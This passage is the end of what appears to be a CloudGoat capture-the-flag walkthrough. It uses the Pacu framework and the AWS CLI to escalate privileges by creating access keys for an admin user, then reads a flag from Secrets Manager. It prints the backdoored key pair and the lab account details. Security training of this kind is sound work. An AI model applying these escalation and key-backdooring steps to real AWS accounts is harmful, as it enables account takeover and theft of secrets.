[iam__privesc_scan] MODULE SUMMARY:

  Scan Complete

Output of privilege escalation scan

Again we see "[iam__privesc_scan] CONFIRMED: CreateAccessKey" on the output indicating we can create access keys.

Step 8 - Run privilege escalation

Now instead of just scanning, we can run the module for privilege escalation.

run iam__privesc_scan --user-methods CreateAccessKey

Running escalation module

[iam__privesc_scan]     Is there a specific user you want to target? They must not already have two sets of access keys created for their user. Enter their user name now or just hit enter to enumerate users and view a list of options: 
[iam__privesc_scan] Found 4 user(s). Choose a user below.
[iam__privesc_scan]   [0] Other (Manually enter user name)
[iam__privesc_scan]   [1] cgidlbvbudjnyb_admin_user
[iam__privesc_scan]   [2] cgidlbvbudjnyb_low_priv_user
[iam__privesc_scan]   [3] cgidlbvbudjnyb_secondary_user
[iam__privesc_scan]   [4] cloudgoat

First output from privilege escalation

Since we already have control of the low_priv_user and the secondary_user it makes sense to target the admin_user here. We can do this by typing 1 and hitting enter.

[iam__privesc_scan] Choose an option: 1
[iam__privesc_scan]   Running module iam__backdoor_users_keys...
[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys]   cgidlbvbudjnyb_admin_user
[iam__privesc_scan]   Running module iam__backdoor_users_keys...
[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys]   cgidlbvbudjnyb_admin_user
[iam__backdoor_users_keys]     Access Key ID: AKIAV7GUMQ3JAYXWGFCM
[iam__backdoor_users_keys]     Secret Key: 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
[iam__backdoor_users_keys] iam__backdoor_users_keys completed.

[iam__backdoor_users_keys] MODULE SUMMARY:

  1 user key(s) successfully backdoored.


[iam__privesc_scan] iam__privesc_scan completed.

[iam__privesc_scan] MODULE SUMMARY:

  Privilege escalation was successful

Completing privilege escalation

As we can see from the output we now have set access keys on the "admin_user"

Access Key ID: AKIAV7GUMQ3JAYXWGFCM
Secret Key: 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

Access keys set on "admin_user"

Step 9 - Configure keys for "admin_user" and check that they are valid credentials.

Now that we have the keys, in another window or pane, let's configure a profile for the "admin_user"

aws configure --profile admin_user             
AWS Access Key ID [****************OQUY]: AKIAV7GUMQ3JAYXWGFCM
AWS Secret Access Key [****************xbaJ]: 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
Default region name [us-east-1]: 
Default output format [json]:

Configuring "admin_user" profile

Now lets make sure the credentials are valid.

aws sts get-caller-identity --profile admin_user
{
    "UserId": "AIDAV7GUMQ3JDDXTT2OHG",
    "Account": "410614793938",
    "Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_admin_user"
}

Validating the credentials for "admin_user"

Step 10 - Import key into Pacu and retrieve the final flag.

Now that we know the credentials work, lets import these into Pacu and see if we can list secrets.


Pacu (bean2:imported-bean2) > import_keys admin_user
  Imported keys as "imported-admin_user"

Import "admin_user" keys into Pacu

Pacu (bean2:imported-admin_user) > run secrets__enum --region us-east-1
  Running module secrets__enum...
[secrets__enum] Starting region us-east-1...
[secrets__enum]  Found secret: cgidlbvbudjnyb_final_flag
[secrets__enum] Probing Secret: cgidlbvbudjnyb_final_flag
[secrets__enum] Probing parameter store
[secrets__enum] secrets__enum completed.

[secrets__enum] MODULE SUMMARY:

    1 Secret(s) were found in AWS secretsmanager
'    0 Parameter(s) were found in AWS Systems Manager Parameter Store    
    Check ~/.local/share/pacu/<session name>/downloads/secrets/ to get the values

Downloading Secrets with Secrets Manager

NOTE: The output shows "Check ~/.local/share/pacu//downloads/secrets/" as we stayed in the "bean2" session the whole time (and just imported new keys) we will need to keep that in mind to read the secrets.

cat ~/.local/share/pacu/bean2/downloads/secrets/secrets_manager/secrets.txt
cgidlbvbudjnyb_final_flag:FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

Reading the final flag

We have now completed the challenge with both Pacu and the AWS CLI. I hope this guide is helpful and feel free to contact me over on discord with any constructive critiques, tips, or questions.